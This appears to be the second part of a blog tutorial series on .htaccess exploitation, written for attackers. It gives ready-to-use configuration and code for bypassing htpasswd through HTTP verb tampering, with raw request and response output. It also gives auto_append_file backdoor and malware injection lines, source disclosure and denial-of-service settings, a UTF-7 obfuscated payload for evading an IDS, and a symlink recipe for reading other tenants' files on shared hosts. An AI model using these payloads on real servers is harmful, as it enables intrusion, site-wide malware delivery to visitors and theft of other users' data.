Welcome to the second installation of my .htaccess exploitation series. Originally, this was going to be a two-part series, but I think after some additional research I’ve done, I’ll likely instead be turning this into a three-part series. If you haven’t read the first part of this tutorial series, then I strongly suggest doing so before continuing. Whereas part #1 in this series focused on the applications of htaccess within web-based exploitation, and also some useful tricks regarding mod_rewrite rules, this tutorial will be focusing more on symlinking methods to compromise boxes on shared hosts, and methods of bypassing htpasswd-based authentication mechanisms. I will also touch lightly upon bypassing PHP’s safe_mode and php.ini through htaccess and also usage of auto_append_file in order to serve malware.

Circumventing .htpasswd-based authentication:

Depending on how it is configured, in some cases it may be possible to bypass authentication mechanisms put in place via htpasswd through a method known as HTTP Verb Mangling or HTTP Verb Juggling. A properly configured htpasswd setup should be using the <LimitExcept /> rather than just the limit tag:

AuthUserFile .htpasswd
AuthName “Example”
AuthType Basic

<Limit GET POST>
 require valid-user

<LimitExcept GET POST>
 Order Allow,Deny
 Deny from all

If the <Limit> tag is used alone without the ‘except’ clause present, then this can allow for HTTP verb juggling. For example, if something such as the following is set:

<Limit POST GET>

Then it may be possible to specify another HTTP Verb (such as PUT in place of POST in order to bypass authentication), this will allow the request to be made while not being protected by the restrictions set in place via <Limit>

If verb juggling is not possible, in some cases it may be possible to bypass htpasswd-based authentication through use of mangled verbs instead. This is possible in cases where the applicationi handler allows unknown HTTP verbs or validates known verbs in a bad manner (or in some cases fails to validate them at all). A common example of where the application insufficiently validates known HTTP verbs would be within mod_php5 or Zend Optimizer for PHP. If you were to use a known HTTP verb such as POST, TRACE, DELETE, HEAD, etc, then Apache would block your request, but if you were to use a misspelled HTTP verb such as GETS or a non-existent verb such as REKT then it would allow to access the resource without authentication being necessary. The reasoning for this can vary depending on the application in use, but generally its a case of it attempting to normalize your inputs, making an effort to correct your data. For some applications, this can merely be a case of GETS being changed to GET (as it assumes it was spelled incorrectly), whereas for other applications, it will take any word that isn’t a valid HTTP Verb and revert it to GET by default. 

Below is an example telnet request to a htpasswd-protected resource that has a Limit restriction enforcing authentication for all known HTTP Verbs:

example:~ telnet 80
Trying x.x.x.x…
Connected to x.x.x.x…
Escape character is ‘^]’.
GET /protected-dir/ HTTP/1.0

HTTP/1.1 401 Authorization Required
Date: Fri, 20 Apr 2020 13:33:37 GMT
Server: Apache
WWW-Authenticate: Basic realm=”Protected Area”
Vary: Accept-Encoding
Content-Length: 401
Connection: close
Content-Type: text/html; charset=iso-8859–1

As expected, this resulted in a HTTP 401, meaning that the htpasswd setup is in fact working as expected. Now, for the same request but with HTTP Verb mangling being used:

example:~ telnet 80
Trying x.x.x.x…
Connected to x.x.x.x…
Escape character is ‘^]’.
GETS /protected-dir/ HTTP/1.1

HTTP/1.1 200 OK
Date: Fri, 20 Apr 2020 13:33:37 GMT
Server: Apache
Vary: Accept-Encoding
Content-Length: 602
Connection: close
Content-Type: text/html

The following explanation from my friend (Keeper) covers the logic as to why exactly this works:

"What PHP does is render the request method, either as HEAD or POST. In the case of sending the method as “GETS”, that leads to the invalid method used to send the payload not being checked further (since PHP does not validate that) and resulting in the standard output of the shell. Therefore, the status code that we receive is equal to 200 which pretty much means the request has been successful."

It should be noted that exceptions can be made to htpasswd-based authentication in the context of whitelisted IP addresses:

<If “%{REMOTE_ADDR} != ‘’”>
 AuthType Basic
 AuthName “restricted area”
 AuthUserFile /path/to/.htpasswd
 require valid-user

If you’re able to determine which addresses are whitelisted, then, combining other vulnerabilities can allow you to bypass htpasswd authentication as a result of using such vulnerabilities to access the password-protected area from one of the whitelisted IP’s. For example if you have an SSRF which allows you to hit things locally, or alternatively if you had an XSS and linked it to someone who was connected via one of the whitelisted IP addresses, using fetch(); or xmlhttprequest(); to access the protected content.

Using php_value and php_flag to change settings for exploitation:

In part 1 of this series, I explained a few different methods of serving malware via htaccess redirections through mod_rewrite. In this section, I am going to cover an alternative method of serving malware via htaccess, which doesn’t rely on redirects at all but instead relies on manipulating PHP values via htaccess, and serving malware in that manner. In addition to its purposes for serving malware without relying on redirection tricks, manipulation of php_value via htaccess to modify settings for directives can lead to a whole host of problems, far too many to list within a single post (although at some stage I’ll likely make a cheatsheet on this topic as a whole).

You can modify PHP values via a htaccess file by adding the following:

php_value setting_name setting_value

The php_value directive is specified, along with the setting you want to change, and then the value for that setting. An actual example would look something like the following:

# example htaccess file to modify php values

php_value max_execution_time 120

The method of serving malware via php_value makes use of the auto_append_file PHP setting. The file you specify via auto_append_file value will add the appended file of choice to every existing PHP file on the server, so for example, if you had your primary shell access, and wanted to insert backdoors into existing PHP files (for example using non-alphanumeric PHP for obfuscation) then you could do something like the following:

php_value auto_append_file “/path/to/evil.php”

Or alternatively, you could choose to serve site-wide malware to exploit the browsers of using visit the site, you’d use the same method as above, except evil.php in this instance will output some HTML such as //

The php_flag value can also be used for source code disclosure, by doing the following (note that this is exceptionally noisy, as itt’l disclose the source of all PHP pages on the webserver simultaneously):

php_flag engine 0

Application-level DoS through means of resource exhaustion can be triggered through php_value by setting php_value memory_limit with a memory size as small as possible. Alternatively, you could set php_value upload_max_filesize to a ridiculously large size, and then upload a bunch of huge fixes to use up all of the memory space on the server.

The possibilities (if you’re able to modify values in this manner) are practically endless. You can make changes to the likes of open_basedir and safe_mode, among a vast amount of other options, resulting in anything from DoS to stealthy malware attacks to full compromise.

If there’s an IDS catching your PHP code execution attempts via htaccess on a partially compromised server, then this following method works great:

php_value error_log /public_html/path/to/pwnage.php
#---- "<?php phpinfo(); __halt_compiler();" in UTF-7:
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"

php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

The htaccess payload above works in the following manner:

  • It is setting the encoding type to UTF-7
  • setting php_value error_log to pwnage.php specifies that as the new custom path for the error log.
  • it is then using an obfuscated payload for the PHP code injection (via obfuscation which is considered valid UTF-7 encoding syntax)
  • during the PHP code execution, it is calling halt_compiler(); which results in the code being written to error_log (aka your custom path)
  • now you can access pwnage.php via your browser in order to view the PHP code that was injected

Using htaccess for malicious symbolic linking to pwn shared hosts:

If you’re on a situation where there’s shared hosting, .htaccess files can be abused in order to view content in directories that should be limited to other users on the same shared host. This can also be used for targeted attacks, for example, let’s say was hosted on a shared server, then an attacker could purchase hosting on the same shared server, and then attempt to perform one of these techniques to gain access to their original target.

If you aren’t familiar with symlinking in general, or how shared hosting works, then it’s probably worth reading up on that a little more before reading further.

So, for the sake of this example, let’s assume that your webspace on the shared host is found at the following area:


and, your target’s webspace is at the following area:


First the attacker would create a directory within their wesbspace, like so:


Then, within that new directory, the attacker would create two files. The first being for the symbolic link, and the second being the .htaccess file

An attacker would begin by creating a symbolic link to link their directory to the root directory. This can be done in a variety of ways (it could even be done within the .htaccess file itself, but considering you already have write access to your shared webspace, it makes more sense to just create a PHP file to do this). It’d simply be a case of creating a file symlink.php and giving it the following source:

symlink(“/”, “./home/public_html/h4x0r/somedir/”);

Once the PHP file is written, it would need to be accessed to execute the symlink(); function required for the next step. Note that the example above is specific to the path I’m using for demonstration purposes. The code below on the other hand will determine the path in use, and then symlink with the correct path, with only one additional line of code required:

$dir = getcwd();
symlink(“/”, $dir);

Then, within that same directory, the attacker would make a .htaccess file that looks something like the following:

Options all
DirectoryIndex Sux.html
AddType textplain .php
AddType textplain .conf
AddType textplain .sql
AddType textplain .log
AddHandler server-parsed .php
AddHandler txt .html

  • Options all is telling the server to follow symbolic links
  • DirectoryIndex specifies the page where the directory (the one that’ll be listing the contents of / ) should be located
  • AddType options are telling the server to display all files in plaintext (so that you can view the contents of files that you otherwise wouldn’t be able to view)
  • AddHandler server-parsed is adding server-sided includes parsing for PHP
  • AddHandler txt is parsing HTML documents as plaintext

Once the symbolic link has been set, the attacker could simply navigate to the path to the directory they created earlier, except from the root dir rather than the full local path, so for example, if the attacker created their directory at /home/public_html/h4x0r/somedir/ they would merely need to navigate to

If all worked as intended, the attacker will be able to navigate through a directory listing containing not only local system files (allowing them to escalate privs and root the server if required) but also the individual user accounts of everyone else on the shared server.

Once navigating to the symlinked directory, they should be able to simply view its contents through their web-browser like so:


I’ll be covering this more in-depth later, with unique methods as opposed to the already known and well-documented method that I’ve just covered.

Final Words:

Initially, this was going to be a two-part series, but I’m definitely going to be making a third part now. Apologies that this section of the htaccess series doesn’t cover too many different methods – I’m only really touching upon a few areas of htaccess hacking within this particular post, as opposed to a wide variety of methods in the first post.

I felt this was necessary as I wanted to introduce some background info regarding htaccess and its uses relating to symlinking. For the third and final section of my htaccess exploitation series, I’ll be covering a wider variety of exploitation areas than the previous two tutorials combined. I’ll be expanding upon all of the methods covered in parts one and two, and I’ll also be doing a walkthrough on using htaccess for defensive measures, along with some interesting and unique general tricks that can be done via htaccess. Finally, I’ll be writing a htaccess configuration that acts as an “anti-skiddie” mechanism by employing offensive counter-measures against anyone trying to target a website.

That’s all for now,

thanks for reading.

./mlt –out